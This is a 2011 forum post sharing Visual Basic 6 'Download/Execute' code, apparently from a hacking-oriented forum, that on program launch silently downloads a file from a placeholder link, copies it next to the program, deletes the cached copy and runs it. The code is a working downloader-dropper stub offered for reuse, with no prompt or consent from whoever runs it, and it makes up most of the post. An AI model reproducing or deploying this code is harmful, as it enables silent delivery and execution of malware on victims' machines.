Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[VB6] Download/Execute
#1
Hello SF I have used this code for along tiem now.

works great.

Code:
'Download a file into 'Temporary Internet Files'
'Move to Folder
'Kill Temp

Private Declare Function URLDownloadToCacheFile Lib "urlmon" Alias "URLDownloadToCacheFileA" (ByVal lpUnkcaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwBufLength As Long, ByVal dwReserved As Long, ByVal IBindStatusCallback As Long) As Long

Function DownloadFile(URL As String) As String
Dim szFileName As String
szFileName = Space$(300)
If URLDownloadToCacheFile(0, URL, szFileName, Len(szFileName), 0, 0) = 0 Then DownloadFile = Trim(szFileName)
End Function

Private Sub Form_load()
On Error GoTo Err
Dim tmp As String, fName As String, Pos As Long, fPath As String
tmp = DownloadFile("ADD DIRECT LINK HERE")

'Copy to directory, grab the filename, remove the [x] added by Windows''\yuk1[1].gif ''
fName = Mid$(tmp, InStrRev((tmp), "\"))
Pos = InStr(1, fName, ".")
'Note: fName includes leading "\", eg: "\yuk1.gif"
fName = Mid$(fName, 1, Pos - 4) & Mid$(fName, Pos)

'Move file to Directory
fPath = App.Path & fName
FileCopy tmp, fPath

'Delete Temp
Kill tmp
Shell fPath, vbNormalFocus

End
Exit Sub
Err: MsgBox "Error", vbCritical + vbOKOnly, "Error!"
End
End Sub

Need help Pm me.

I did not coded this found on forums.
[Image: YzwzC.png]
Reply


Messages In This Thread
[VB6] Download/Execute - by Arron XR - 07-25-2011, 04:08 PM
RE: [VB6] Download/Execute - by ScripT - 07-25-2011, 09:36 PM
RE: [VB6] Download/Execute - by AceInfinity - 07-25-2011, 10:42 PM
RE: [VB6] Download/Execute - by Kyle FYI™ - 07-26-2011, 12:04 PM
RE: [VB6] Download/Execute - by Arron XR - 07-27-2011, 04:31 AM
RE: [VB6] Download/Execute - by AceInfinity - 07-26-2011, 04:09 PM
RE: [VB6] Download/Execute - by AceInfinity - 07-27-2011, 04:59 AM
RE: [VB6] Download/Execute - by Arron XR - 07-27-2011, 12:10 PM
RE: [VB6] Download/Execute - by VIRUZ™ - 07-27-2011, 11:45 AM

Possibly Related Threads…
Thread Author Replies Views Last Post
  [Request] - Convert Excel formula to VB6 Code Carb0n F1ber 15 6,855 05-18-2015, 11:46 PM
Last Post: longwest
  vb6.0 SSTab control disappeared DanB 0 1,300 12-29-2012, 10:24 AM
Last Post: DanB
  [HELP][VB6] Comparing md5/file size? Cloud203 5 2,430 02-04-2012, 02:47 PM
Last Post: Denny Crane
  VB6 | PickYourShow0.1 BETA BreShiE 29 7,408 01-11-2012, 02:44 AM
Last Post: BreShiE
  [VB6] Shopping List BreShiE 3 1,558 12-30-2011, 07:51 PM
Last Post: BreShiE

Forum Jump:


Users browsing this thread: 1 Guest(s)